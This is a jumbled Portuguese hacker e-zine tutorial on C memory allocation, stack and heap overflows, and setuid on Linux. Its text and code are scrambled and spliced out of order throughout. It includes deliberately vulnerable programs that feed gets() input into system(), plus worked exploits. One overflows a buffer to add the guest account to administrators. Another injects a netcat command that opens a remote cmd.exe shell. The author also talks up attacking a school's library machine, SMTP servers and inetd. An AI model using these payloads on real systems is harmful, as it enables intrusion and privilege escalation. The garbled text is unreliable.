dinamica em C. Veja uma declaracao de ponteiro do tipo 'char': char *pointer. Esse pt nao tem 1 tamanho de dados definido. Nao eh pq eles estao juntos q eles devem transar! Huahuaah!!! Resumindo: Um programa nao compar tilha sua memoria virtual com outro.0 . Nao eh soh porque o endereco virtual eh convertido em endereco fisico q vc devera pensar que o tal do endereco virtual eh um representante direto e estatico para cada pedaco da memoria fisica! Na "verdade" a memoria virtual eh um tanto quanto fulera (P/ nao falar relativa como eu li hihihi). esta eh a 'principal'.D.Capitulo em dimensao paralela Ta aqui o zero!! 0.porque ele tambem eh enderecavel usando o esquema acima (0x0 a 0xF). mas isso vc jah sabe. Nesse caso eu vou estar trabalhando com o valor de "retorno" do operador sizeof(). pois sei que existem muitas pessoas gostam de ler textos p/ soh dpois estudar a fundo os temas descritos nele em apos tilas "externas". Lembram do sizeof()? Ele retorna um tamanho de variaveis. alocacao dinamica como o proprio nome ja da a entender.E . matrizes ou retorna o tamanho de tipos. mas no momento da execucao do programa a memoria virtual mapeia os dados d cada uma p/ uma parte diferente na memoria fisica. O '(char *)' acima eh um typecast q estah ali somente p/ indicar que os dados q serao alocados no ponteiro sao bytes p/ caracteres. A funcao em C utilizada p/ tal se chama 'malloc()'. q . veja: pointer=(char *)malloc (sizeof (char) * 5). Aproveitando a deixa vou adaptar umas coisas que eu escrevi sobre o curso d 'C' para a C. mas como eu me preocupo com o seu aprendizado.

tem mais XD \n"). 0x05). Vamos a um exemplo de alocacao d dados e "controle" d dados q serao passados para o ponteiro.h> #include <stdio.. viu? Exemplo de alocacao realmente dinamica ehehe Eiii.exe <seu_nome> C:\>mac. teu nome nao tem 5 letras. Entao apos isso o ponteiro "pode armazenar" 5 bytes.eh o numero de bytes q serao alocados..} if (strlen (*(argv_do_capeta+1)) > 5){ fprintf (stderr. tem mais XD C:\> Ei. return 0.h> #define says printf main (int argc_do_capeta. lembra (char *pointer)? Humm.} char *pointer. -. onde esse negocio eh armazenado ? Quero dizer. serah convertido em char.exe David2 Fuck. *(argv_do_capeta+1). puts (pointer). pointer=(char *)malloc (sizeof (char) * 5). Veja q eu determino a quantidade de dados antes da funcao 'malloc()'.exe Uso: mac.*(argv_do_capeta)). pois a memo ria acaba d reservar estes ehehhe (Continue lendu!!!). exit (-1). says ("Oi "). os bytes mallocados.exe David Oi David C:\>mac. free (pointer). teu nome nao tem 5 letras. char **argv_do_capeta){ if (argc_do_capeta != 2){ says ("Uso: %s <seu_nome>". sem abrir mao d usar a func 'malloc ()' e trabalhar com ponteiros. Eh no Heap amigo! Huahauh!!! ----------- . strncpy (pointer. obvio que o argumento da funcao malloc() trabalha com constantes/valores inteiros. digamos q essa alocacao NAO Eh TAO DINAMICA ASSIM auhauah!! Mas ilustra bem cm vc deve proceder com segur anca caso queira evitar o "Heap overflow". eheh. pois o ponteiro eh do tipo char. // A funcao 'free()' libera a memoria alocada } -. Se nao eh na stack..cut -Result in the windows: C:\>mac.cut -#include <stdio. "Fuck.

que saco.. /* Retorna a string // Imprime a string na tela // Libera a memoria alocada (Na heap) Primeiramente vamos lembrar oq diabo eh buffer overflow: Extraido da e -zine C.D.cut -main (){ char *pointer.cut -Com relacao ao static. alocam espaco na memoria p/ abrigar dados.corte aqui -. ----------bah! Todo mundo reclama que eu nao passo prototipos tecnicos.strdup (). na regiao chamada de heap! Para saber para q ue serve declarar variaveis como estaticas e essas coisas. O que essa funcao faz eh basicamente alocar espaco na memoria referente a string e depois retorna um ponteiro para. cuja.. pois variaveis declaradas como 'static'as. ta ae entaum: char *strdup (const char *string)..O. char variavel[7]. Ira alocar 10 bytes "na heap". pointer= strdup ("Hail Silver! OO Ou algo assim devidamente alocada daí .. Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a .. nos usamos o strdup() q ja aloca e copia tudo de um vez daí . recomendo a leitura de uma boa apostila d C..> tipo variavel[buffer]. basta voce saber que isso: static char buffer[10]. -. Agora vamos realmente ao q interessa. < -.. Essa funcao faz a mesma coisa que o malloc().) Com strdup nao precisamos dessa frescura toda que o malloc nos obriga a fazer XD. free (pointer). p/ sabermos como funcionam os exploits de heap overflow! 5.E 0x02: -. < --.Humm.0 .) */ puts (pointer). } -. soh que. ao invez de alo carmos memoria com o malloc() e depois usarmos funcoes auxiliares para copia de dados. Entao isso eh que eh o Heap Overflow Leiam logo isso amigos! \\O/").^^ Resumindo tudo XD: strdup (string). dita. a.

mas ocorre o chamado buffer overflow. Voce deve estar curioso para saber de um detalhe. pois algumas funcoes eu ainda vou ensinar ^^. printf ("Estoure meu buffer [size buffer:3]:").2 caracteres + o terminador \0 = 3 (Normal =) ab C:\Documents and Settings \David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -.cut ---------Vamos ver onde acontece os sonhos ^^. ou seja. deve ficar assim: char variavel[8] = "luzinha \0". mas o programa ainda não deu pau 1234567891011 C:\Documents and Settings \David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer . ou simplesmente.h> main (void){ char str[3].1 byte. todo mundo que meche com isso hoje ja sentiu "MUITA" dificuldade. ou seja.c -------#include <stdio. soh p/ voces nao falarem que minha zine eh d pessima qualidade (heheh) vejam esse code: -------. posso ensinar uma unica maneira d prevencao agora . Nao quero assustar vc's POR ENQUANTO. mas poss o adiantar ai como se previnir o buffer overflow.str).O. mas esse essunto estah longe de ser o focu principal dste paper. pois eh necessario aprender desenvolver shellcodes para a 'exploracao da falha' de estouro d pilha. Onde podemos dizer de certa forma que acontece uma 'explosao'. pois vale lembrar que um caractere equivale a 1 byte. Gente. vamos supor que voce está me pergun tando isso: Mas se eu inserir mais bytes que esse buffer suporta. nao pensem que eh facil desenvolver shellcodes. pois o programa irá aceitar. Sempre temos que reservar um byte no buffer para o terminador nulo ( \0). estouro de buffer. Na proxima edicao da C. o que acontecerá? Caso voce insira mais dados que um buffer pode suportar aparentemente nao acon tece nada. gets (str). Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazena ria 8 bytes. entao a string "luzinha" conterah um total de 7 bytes sem contar com o terminador de string ( \0). ponto ^^. mas a explosa o vai ser na pilha. a variavel teria um buffer ( local de armazenamento ) que suporta 8 carac teres. printf ("%s".E vai ter uns papers maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de desenvolvimento de shellcode (isso se e le arrumar tempo ^^).overflow.D.} ---------. simples: Nao use funcoes perigosas. Resultado: C:\Documents and Settings \David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -.Problema. tipo assim galera.

Hummm. char *pointer2 . Mensagem legal . Eles vao estar um dpois do outro na memoria (Heap)! Achu q eu tenho que me tratar. pt1[i]. pointer=(char *)malloc (10).. os dados vai ser armazenados um depois do outro.++i) printf ("%c --> %x\n". pt1 = (char *) malloc (10). -) -. esses dados sao alocados um depois do outro. &pt1[i]). for (i.i<= strlen (pt2).corte aqui -Voce ja sabe como "acontece" o stack overflow. strcpy (pt1. depois escrevo algo ensinando a exploitar.exe encontrou um problema e precisa ser fechado. system ("cls"). for (i=0. puts (""). pointer2=(char *)malloc (10). Eu agora to afim de alocar mais 10. pt2[i]. "1234567")..i<= strlen (pt1).cut -#include < stdio.h> main() { char *pt1.. Compile este fonte: -. *pt2. strcpy (pt2. int i=0. pt2 = (char *) malloc (8).++i) printf ("%c --> } -. " \nCaractere --Endereco Virtual \n\n"). ehehhe. . esta compulsao por ensinar vai me matar um dia Huahuahah!! Veja um outro exemplo no windows. fprintf (stdout. Vamos suporque eu eu malloco 10 bytes na Heap: char *pointer. "012345678"). Agora vamos ver o tal do Heap overflow ehehe. &pt2[i]). ou como eh comumente chamado Buffer overflow.cut -- %p\n".. Quando alocamos dados dinamicamente esses da dos ficam na area de memoria chamado de Heap. Se eu criar uma aplicacao que alocada memoria em uma regi ao da Heap e nessa mesma aplicacao conter outra in strucao que tambem aloca memoria por la.Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string': O overflow.

" \n\"Caractere \" -strcpy (pt1.h> main() { char *pt1. int i=0. Outro detalhe 'in teressante' eh o seguinte: #include <stdio. pt1 = (char *) malloc(sizeof (char) * 10). // Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0) if (!pt1){ fprintf (stderr.} fprintf (stdout. "138ABCJ"). Endereco Virtual \n\n").. Num to vendo sequencia nos enderecos virtuais do pt's ai naum fox! Ta me enganando! Canalha! Huahuahauh!!! Dois detalhes seguem agora: Veja o o %p mostra os enderecos (VIRUTAIS . \O/): Caractere 0 1 2 3 4 5 6 7 8 1 2 3 4 5 6 7 C:\>_ Hummm. ----> --> --> --> --> --> --> --> --> --> --> --> --> --> --> --> --> --> Endereco Virtual 3d24b0 3d24b1 3d24b2 3d24b3 3d24b4 3d24b5 3d24b6 3d24b7 3d24b8 3d24b9 003D2448 003D2449 003D244A 003D244B 003D244C 003D244D 003D244E 003D244F .) de memoria em um formato completo (0x00000008).Vamos executar a aplicacao (O caractere ao lado esquerdo do resultado diz respeito ao "caractere" contido no endereco ao lado deste. enquanto o %x apenas mostra os enderecos de memoria virtual "utilizados".. "Putz! Vc nao tem 10 bytes livres na memoria? \n"). exit (-1).

use o codigo de controle %d. P/ ver o endereco "fisico" de uma variavel.. soh q ao inves de inserirmos mais dados em um buffer. pt1[i]. nos inserimos + dados que 1 ponteiro mallocado pode armazenar... p/ vc entender melhor!!!! < . e isso faz com q estouremos os limites de memoria reservada para um ponteiro (Viram!!!? Consegui explicar a mesma coisa de duas formas diferentes!! Hauhauh!!!) assim chegando ao endereco do ponteiro que foi mallo cado vizinho a este.. falo comigo mesmo hauhauhh!!! Hahuah!!! ¬¬ Cof!! Cof!! Desculpem ae. o seg undo ponteiro eh usa do para executar um comando do 'system'a logo apos a copia de dados para o primeiro ponteiro.++i) printf ("%c } Resultado: C:\>heap "Caractere" -1 3 8 A B C J C:\>_ --> --> --> --> --> --> --> --> --> %x\n". tabom. O nome 'Heap Overflow' quer dizer q vamos estourar os enderecos de um pt mallocado "na heap". esse mesmo programa pega dados digitados pelo usuario do e copia os mesmos p/ o primeiro ponteiro. Com relacao a se quencia: Na verdade a sequencia existe na 'memoria fisica' eheheh. enderecos esses q vao ser lidos (%x) rsrs..for (i... lah vc viu q marcamos o inicio do buffer e o final. Como vc viu no comeco deste capitulo.====================== ------------huahuhauh!! Eu sou doidu. Ei. Essa eh facil. mas. ficam nesta area. Endereco Virtual 3d24b0 3d24b1 3d24b2 3d24b3 3d24b4 3d24b5 3d24b6 3d24b7 Acho que voce sabem que o '&' ('E' comercial) 'retorna' o endereco de memoria d variaveis. da! ============== ------------------.Estouro de texto rsrsrsrsrsrsrsrsrsrsrsrs rsrsrsrsrsrsrsrsrsr (E estouro de linha dependendo das dimensoes do seu visualizador kkkkkkkkk!!!!). imagine uma programa q malloca dois ponteiros. o que tem demais em estourar o heap? Hummm. 'E' no Heap overflow? O 'Estouro de Heap' ocorre de forma similar...--Nao quero saber d outro exemplo! Cade a sequencia dos enderecos fox! ============== ------------------. declarei uma matriz de carac teres (string). junto com as variaveis esta ticas. Rum! Bem amigos. pois os dados alocados (mallocados()') dina micamente na memoria. se passarmos d esse limite ocorre o estouro de buffer.. dpois eu explico a questao da sequencia dos enderecos q insisti em frizar o txt todo. vamos 'finalmente' ver como ocorre o Heap Overflow.i<=strlen (pt1). esse segundo ponteiro ou variavel estatica .====================== ---------. matriz ou algo do tipo rsrss... na virtual apenas existe uma sequencia explicita em enderecos virtuais de matrizes XD. &pt1[i]). e nao na virtual.

puts (""). "echo Bem vindo a %s manoh!". system (pointer_two). gets (pointer_one). "Endereco virtual de pointer_one: %p \n".Seu primeiro contato com exploracao de b ug --------. pointer_one= (char *) malloc (10). } -. Sacow? Nos vamos "estourando a Heap" ateh alcancarmos o endereco da instrucao q sera executada pela system(). Usem a cabeca p/ saber oq eu quis dizer com esse "estourando". no qual contem o comando do sistema. pointer_one).cut -#include <stdio.h> #include <stdlib. enchemos o pt1 e ao final deste escrevemos um comando qualquer.h> main (){ char *pointer_one. pointer_two). se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo ponteiro. pointer_two= (char *) malloc (10).> Heap overflow . system ("cls & color a").cut -- . "Matrix"). fprintf (stdout. printf ("Endereco fisico de pointer_two: %d \n". mas por favor levem em conta o seguin te trecho: "'estourando a Heap'" Nao posso falar mais do que isso. "Estourando ateh alcancar . "Endereco virtual de pointer_two: %p \n".)" < --------.> < --------Bem vindo ao meu mundo --------.eh mallocado depois do primeiro na heap. char *pointer_two. mas esperem ai. Vamos supor q. humm. fprintf (stdout. es taremos escrevendo no endereco onde fica armaze nado o comando.Sobrescrevendo pointers. &pointer_one). no qual sobrescrevemos o en dereco da instrucao seguinte.: -. sprintf (pointer_two. puts ("\nMe diga seu nome:").. ei. printf ("Endereco fisico de pointer_one: %d \n". p ois aposto que se eu continuar a falar sobre esse "estourando" vai haver 1 verdadeiro caos na inter net. isso faz com q a system() acabe executado o que nos inserirmos! Se este programa trabalhar com SetUID nos podemos roda r comandos que apenas o root pode!!! Vou mos trar um exemplo de exploracao simples. &pointer_two).

Lembra q 1 ponteiro ocupa 4 bytes na memoria? A heap armazena dados do menor endereco para o maior nesse caso. Agora vamos exploitar? C:\>call heap_overflow.. C:\>net localgroup administradores Nome de alias administradores Comentário oi oi oi Membros ------------------------------------------------------------------------------- . portanto ele que serah alocado primeiro.. Veja que o primeiro ponteiro declarado foi a pointer_one.. 4007096 4007120 --> --> pointer_one pointer_two < --. Repare agora que o pointer 'pointer_two' se inicia exatamente 24 (ui) bytes dpois do buffer1. o q acontece eh que esses 14 bytes adici onais sao usados pela syscall (chamada de sistema eheeh!) 'malloc' p/ permitir q a memoria retorne ao uso geral quando a mesma for liberada ('free()'). esses bytes extras variam de acordo com o ambiente. Na verdade "nos" apenas malocamos na heap 10 bytes.exe Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 Endereco virtual de pointer_one: 0022FF74 Endereco virtu al de pointer_two: 0022FF70 Me diga seu nome: Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add Comando concluído com êxito. Ei! Espera ai!!!! 4007096 + 24 = 4007120 (4007120 eh o endereco de pointer_two!) Nao lembro de ter mallocado 24 bytes (¬¬).. repare nos enderecos acima.Execucao normal do programa: Endereco fisico de pointer_one: 4007096 Endereco fisico de pointer_two: 4007120 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 Me diga seu nome: David Bem vindo a Matrix manoh! C:\> Agora amigo.

. O 'net localgroup administradores convidado /add' eh o comando que eleva os privilegios da conta d convidado. Eh simples: 'net' (digit net /?' para ver um leque de possibilidades q o windows dispoe..) rsrs. sao muitas amigos) localgroup (parametro do 'net' q vis ualiza e modifi ca infos d grupos) administradores (Grupo d admins) convidado (nome da conta que eu to afim de inserir no grupo de admins) /add ('add' icionar o user convidado ao grupo d admins . Urra! Heap Heap. acho que nao precisa mais repetir. essa eh facil. va corrompendo a me moria ate vc encostar neste endereco. Veja um exemplo: ... Leiam os tais parenteses! eheheh Repare no s eguinte parceiro: Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 O pointer2 comeca 24 bytes depois do primeiro... "ja q ele foi declarado" depois deste.. tabom. 0123456789ABCDEF01234567 Para os estupidos que ainda nao sacaram o lance do hexadecimal: Meu nome e 6_Bl4ck9_f0x6net. ja que sabemos que a funcao system() executa o comando q esta no endereco 4007128.. C:\> Pimba!! ps: Meu nome vai ate o 6 viu gente ^^ rsrsr. entao se digitarmos mais de 24 caracteres (cada caractere equivale a 1 byte) vamos es toura o Heap! Heap overflow!!!! Estouro de Heap!! Heap Heap.. por favor entenda esse texto amigo! A cena hacker Brasileira precisa de vc!! ¬¬ Veja parceirao! Meu nome e 6_Bl4ck9_f0x6net.. Mas.... entao nos alcancamos o endereco de memoria deste sem misterio.. E se nos quisermos exploitar uma app que tem 1 pointer q executa uma funcao no si stema 50 bytes depois deste? A. use a logica. q esta localizado ao lado do pointer_one.Administrador Convidado David Comando concluído com êxito. Urra! Pois esses enderecos acima sao os enderecos do Heap! Tabom. 123456789'123456789'1234 ^________^^________^^__^ | | || 10 bytes 10 bytes 4 bytes = 24. Entao o 'n' ja vai estar no endreco do comando!! Bem.

. "echo Bem vindo a %s!". Volte 7 bytes e digite o comando =).cut -#include <stdio. puts ("").. *pointer_3. (10). (10).. "Matrix"). C:\Documents and Settings \David> Opa.h> #include <stdlib. oq tem demais nisso?? Hummm. vamos voltar !!!!!!! bytes eheheh. Variaveis estaticas: -.. printf ("Endereco fisico de pointer_5 : %d \n". (10).#include <stdio. Isso eh igual a 7 bytes. puts ("\nMe diga seu nome:"). system (pointer_5).h> main (){ . *pointer_4. sprintf (pointer_5. Imagine esse bug em um servidor cara! Que tal SMTP? Nao vou escrever um servidor porque vc nao deve ser! Um escroto burro! E pq tenho q ir na casa de um amigo daqui a pouco! Jogar video game e comer pipoca! O dia inteiro e a noite tb!!! Nos ja compramos os jogos! Ae Guilherme! Um abraco manoh!! Eu nao estou gritando com voce! Eu estou em completo s ilencio para nao acordar minha namorada! Eh so o '!' que da essa impres sao!! kkkkkkkkk. (10). um programa operável ou um arquivo em lotes. Tabom. printf ("Endereco fisico de pointer_one: %d \n". } Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_5 : 4007200 Me diga seu nome: Meu nome eh 6_Bl4ck9_f0x6 pOrr4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '!!!!!!!' não é reconhecido como um comando interno ou externo. system ("cls & color a").h> #include <stdlib. *po inter_5. pode contar rsrs. Vamos sobrescrever variaveis estaticas agora! Exemplo pratico.h> main (){ char *pointer_1. pointer_1 pointer_2 pointer_3 pointer_4 pointer_5 = = = = = (char (char (char (char (char *) *) *) *) *) malloc malloc malloc malloc malloc (10). pointer_1). gets (pointer_1). pointer_5). *pointer_2.

printf ("Endereco fisico de command: %d \n". pois a gets nao controla os dados que sao passados para os buffers. int len. Esse negocio de 'Unix/Linux' me fez lembrar de uma coisa..+ | gets() |char *fgets (char *str.1] 3022 Olha que legal depois de um "telnet IP PORTA": Microsoft Windows XP [versão 5.. printf ("Endereco fisico de name : %d \n".168. Veja 1 tabela d funcoes perigosas e de funcoes que substituem elas.2600] (C) Copyright 1985 -2001 Microsoft Corp.exe listening on [any] 55 .1.. name). numero_bts.+------------------------------------------.... E isso me da acesso ao windows la da biblioteca. "echo Bem vindo a %s!". puts ("\nMe diga seu nome:")... gets (name)..168..+ | sprintf() | snprintf(destino. Olha la em cima manoh.:) Ao invez de usarmos a funcao gets() p/ pegar os dados e passar p/ as variaveis. system ("cls & color a").1] from VIOLATOR [192. system (command).. FILE *pt).cut this file here -Endereco fisico de name : 4210704 Endereco fisico de command: 4210736 Me diga seu nome: 11111111111111111111111111111111nc -l -p 55 -vv -e cmd.+------------------------------------------.1. +------------------. command). connect to [192. deixei a porta 23 la manoh! Eu tenho acesso aos livros mais lidos pelas gatinhas!!!!!! Ei ei ei. operador de sistema) da rede da minha escola por exemplo. | +------------------... nao use as tais fun coes perigosas. Humm. origem).1...static char name[20]. "Matrix"). // Pra pular uma linha eheh Eu adoro essa func. da!)! Existem "muitos" adm's que usam o netcat como cliente para coisas. static char command[50]. sprintf (command.+ |Funcao "perigosa" | Solucao? Dexa p/ o proximo txt eheheh }=) | +------------------.+ | scanf() | Use especificadores de tamanho!! | . el e instala o netcat no linux estudantil. o cara q eh sysop (System operator. Antes vamos ver cm se proteger de heap overflow: Simples.| +------------------.+------------------------------------------. puts (""). C:\Documents and Settings \David> Olha o shell ae gente!! Imagine um servidor de SMTP!! Imagine enserirmos linhas no inetd no unix/linux com o comando echo!! Po is os privilegios do programa tem muita probabilidade de ser de usuario root (obvio.+------------------------------------------. pountu! ehehe. usamos a funcao tal da fgets() por exemplo.. } -.

printf ("Endereco fisico de command: %d \n".E.darkers.+------------------------------------------.. puts ("\nMe diga seu nome:"). puts ("").+------------------------------------------. ¬¬ .h> #include <stdlib. // Pra pular uma linha eheh Eu adoro essa func.Repare aquiiiiii!!! system (command). vamos resumir esse treco. system ("cls & color a")..O.br 6.SetUID? No windows nao tem issu. pode me explicar? ¬¬ Bem.h> main (){ static char name[20].. ou va lah no DK e pegue o comecinho do capitulo do curso de C parte 3 (Onde eu escrevi sobre elas). "echo Bem vindo a %s!". // < -------.+ Enfim. fgets (name. Veja: -.+------------------.cut -#include <stdio.+ | strcat() | strncat() | +------------------. "Matrix"). Voce pode eh tentar amigo. era pra ta lah neh). } -.. achar uma func ao para subs tituir ou controlar os dados que serao copiados. name).+------------------------------------------. sprintf (command. nao vai conseguir exploitar esse prog!! Para saber como usar essas funcoes acima fique atento ao curso de 'C' para a C.+ | strcpy() | strncpy() | +------------------. 5.. com seus conhecimento em C (ehhe). printf ("Endereco fisico de name : %d \n". um programa com setuid nada mais eh que um programa que seta um UID. Ta na sessao C/C++ (Bem. command).com.0 .D..cut -Me diga seu nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Bem vindo a Matrix! C:\> Ele vai copiar apenas 5 bytes para a variavel estatica 'name'. e cabe a voce. toda funcao que copia dados eh perigosa. wWw. stdin). static char command[50].

Quando queremos adicionar 1 usuario no sistema por exemplo. Se o UID do usuario que emitiu o comando NAO for '0'.. entao. para que serve esse tal d UID? O UID eh um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes de fazer determinadas operacoes. e dai! Quando eu estiver logado com "qualquer outro usuario" no linux.46464a5dasd1a3s21das5d4a65s4a8s4d Humm. Ei!!!!!! Por que sera? 'su' eh a contracao de "Super User"? Ou eh Sourc e User? ehehhe. mas. como o proprio nome ja da a entender (User IDentifier IDentificador de Usuario ou 'User IDentification' . Exemplo: Black_Fox@Black_Machine: -$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Aqui estou logado como usuario Black_Fox. NAO posso adicionar um usuario no sistema. Por exemplo.. O dito cujo do programa (nesse caso) vai ter o atributo 's' que representa o setuid. o desgrac ado vai rodar o "programa" como se fosse o diabo do 'root'.. UID nada mais eh. eh que se voce digita soh 'su'. este eh o comando para marcar arquivos com setuid: chmod +s /caminho/do/programa Vamos suporque q eu fiz esse procedimento logado como usuar io root.. ele vai pedir senha. digite a dita cuja e tecle [Enter]. estiver com permissoes d root(setuid)? Eu poderia sim. o linux vai inferir q voce quer se logar como root. se ele ver o UID 0. este usuario root tem o UID igual a 0 (Eu consegui mais uma vez explicar a mesma coisa de formas diferentes eheh). Continuando. Tabom. digite 'su' que eh o comando usado para mudar o usuario atualmente lo gado na shell (interpretador de comandos). pois eh o UID do user que emitiu o comando [*root*]. ja q vc ta como root. Mas nao va pensando que os admins deixam o adduser com setuid cara. .. todo usuario cadas trato em um sistema Unix/Linux tem o seu UID. eles sao maus! Nao deixam nao! Soh eles podem add users! Faca um teste amigo. Entendeu? O setuid eh bem simples de ser entendido.. eh um identificador de usuario. voce ja esta como root! Ei.. porque meu UID nao eh zero ehehhe! Huahuah! +. nesse caso o programa vai estar COM PERMISSOES DE ROOT!! Tabom. ele vai deixar as coisas acontecerem. Deixa eu ver aqui. se voce quiser se logar com qualquer outra conta basta digitar 'su outra_conta'... prontu. O que eh um UID?? Bem. "melhor dizendo": ele vai rodar como root! Tan dam! ¬¬ Entao. o kernel verifica qual eh o UID do usuario que emitiu o comando adduser por exemplo (Comando p/ add'icionar usarios ao siste ma). simplesmente temos ai um 'VC NAO Eh ROOT KCETE!!'. e se o programa adduser.IDentifica cao de usuario [Chame como preferir]). eu rodaria o infeliz como se fosse o roo t mesmo sem estar logado como root! E isso significa que eu poderia muito bem inserir usuarios no sistema a torto e eh direito!! Para ver o UID de usuarios digite o comando 'id' (Olha que original) seguido do nome de usuario ou apenas 'id' p/ ver o UID do usario corrente. se eu emitisse o comand adduser e esse diabo de comando/programa estivesse com setuid 0. mas vc ja ta vendo.. o UID 0 equivale a usuario root no Linux. faca isso p/ deixar o adduser com setuid 0 (Que eh o UID do usuario atualmente logado na shell): chmod +s /bin/adduser Isso acima faz com q o EUID do adduser seja setado como 0. meu UID eh 1002.

Quando executamos arquivos. oq ele faz? 2 . ou simplesmente identi ficador "DE EXECUCAO". . visamos "muito" arquivos com setuid root. 0 eh o UID do root. lhe permitem mais chances de executar um file. entendeu? ----------------------------------------------------------------------------Ei ei ei! Se vc quiser executar um comando como root sem precisar ficar logado na conta. Exemplo: sh-3. se nao especificarmos nenhum user. basta digitar o parametro ' -c' do 'su'. pois programas que trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/executor.. pois como falei. Vamos ver des do primeiro passo: 1 .Vai pedir senha. se lah estiver o tal do UID 0 [*zero*]. aprender esse esquema base de SetUID eh importante! Acho q isso voces ja perceberam . Agora digite adduser e. se ele nao deixar porque nao for 0.1 . isso significa que posso usar este programa p/ executar "meus" comandos no sistema como se fosse o root! Ei! Mas voce tem que seguir o q o programa quer q voce faca fox! Nao nao amigo. obvio!! Digite o root soh por frescura.. o '0'. digite o comando exit para deixar o root e ir para a conta anterior. e u executo ele e a partir dai eh ele que trabalha pra mim. ele te deixa passar. este parametro executa um comando com permissoes de um user e depois retorna ao user que chamou o comando. com este UID voce pode tudo.Efective User IDentification. Na verdade nao vamos setar o "UID" do usuario corrente. se a acao requisitada apenas poder ser feita pelo root vc nao vai poder faze la se tiver 1 UID maior q zero.O kernel vai olhar o UID do user. mas antes gostaria que voce "frizasse" bem esse lance de setuid.Ele olha o EUID . ktapimba! Vc ja pode add users no sistema. Programas com setuid trabalham da seguinte forma: Quando executamos um programa marcado com setuid.-. q vamos setar. se vc eh um bgner ainda vai ver que oq eu estou dizendo tem fundamento quando estiver em um nivel mais avancado no hacking. nos "hackers" de sangue puro. Agora faca logout desta conta. 0 nesse caso. o Linux vai inferir q tu queres executar o comando como root... Agora que voce ja entende oq eh setuid vamos passar p/ os proximos passos. pois voce v ai executar este file com o Super UID.1$ su ro ot -c "comando" Password: < -. ele entao vai te dar outra chance. Eh essa tal de IDentificacao efetiva de usuario. do arquivo. que vai estar setado com o UID de um usuario qualquer. e nao eu pra ele. ela tem o ID de execucao (EUID) igual a '0'. o kernel olha o UID do user ( como jah te falei).ID de execucao. o Linux vai olha um atribu tozinho chamado EUID .) 6.Nota --------------------------------------------------------------------Agora segue um detalhe interessante de notarmos.Tirando proveito XD . Agora files/arquivos marcados com setuid.) Mas para quem eh meio "desligadao" ai vai outro exemplo da importancia do setuid: Vamos supor que eu tenho uma 'app' vulneravel a Heap Overflow .

roda com o bit 'suid'. Isso farah uma listagem completa do arquivo. Aqui eu 'soh' to ensinando o que eh Heap Overflow. Como todos deviam saber. -. no Linux portas abaixo de 1024 apenas podem ser aberta por admins/root.S ------------------------------------------memset (). Bem... pontu! Masss.br/heap. o server faz isso: Ai ele cai.S eh enviar um buffer muito grande.xpg.... ja que nossa intencao nao eh ter acesso ao sistema.cut -#include <stdio... Esta aplicacao tem um bug d Heap Overflow.) Eh bastante recomendavel inserir linhas no /etc/passwd quando exploitamos algum bug rsrsr.setar memoria -----------------------------------.. . Nao pense que vai ser facil achar o endereco de retorno por lah amigo!! Brevemente estarei l hes mostrando como achar enderecos estaticos. ou seja. de alguma forma estamos no sistema. voce vera' o 's' nas permissoes do file.h> .2 . nos mandamos os dados ateh lotar o buffer por la e alcancarmos o endereco d retorno. Vamos exploita -lo? Que tal abrir portas abaixo d 1024 com o netcat? ******************************************************** [img] http://www.:) 7. seu sujo! :P)..com. Depois que mandamos muitos dados. Achamos no sistema uma aplicacao com setuid root...) Vale lembrar que tambem devemos olhar aplicacoes que ex ecutam a funcao execl() ao inves de system(). Isso equivale a setar a memoria no endereco (de memoria =) da string de destino. por enquanto nao to ensinando como achar... "normalmente" (quando se trata de servidores furrecas de FTP rsrs) devemos mandar ('send()') o comando que nao gerencia dados direito la no servidor furado.------Prototipo: memset (string_destino..hunterhacker. 'caractere'.h> #include <string. la deve existir um buffer q nao possui um limite d dados p/ copia (buffer overflow). numero_de_bytes_a_setar). .o.:) "Por hora" vamos soh derrubar. Voce pode inserir linhas no inetd e pode fazer todo tipo d malandragem q sua mente conseguir imaginar atraves de uma aplicacao bu gada.A base dos exploits de D. ou seja. Lembrem que um caractere equivale a um byte. set memory .Temos acesso a uma conta nao privilegiada no sistema. Como mandar dados "depois do coma ndo furado" usando o 'C'? E como mandar um buffer suficientemente grande p/ fazer o server entrar em crash? Ae q entra o memset() manoh (Nao entra nesse sentido. achu que voces devem saber que a base dos exploits de D.. tambem da no mesmo....A funcao memset (). Hummm.png [/img] ******************************************************** Para ver se um arquivo esta' marcado com bit suid digite ls -l (l vem de long)..o.. mas.

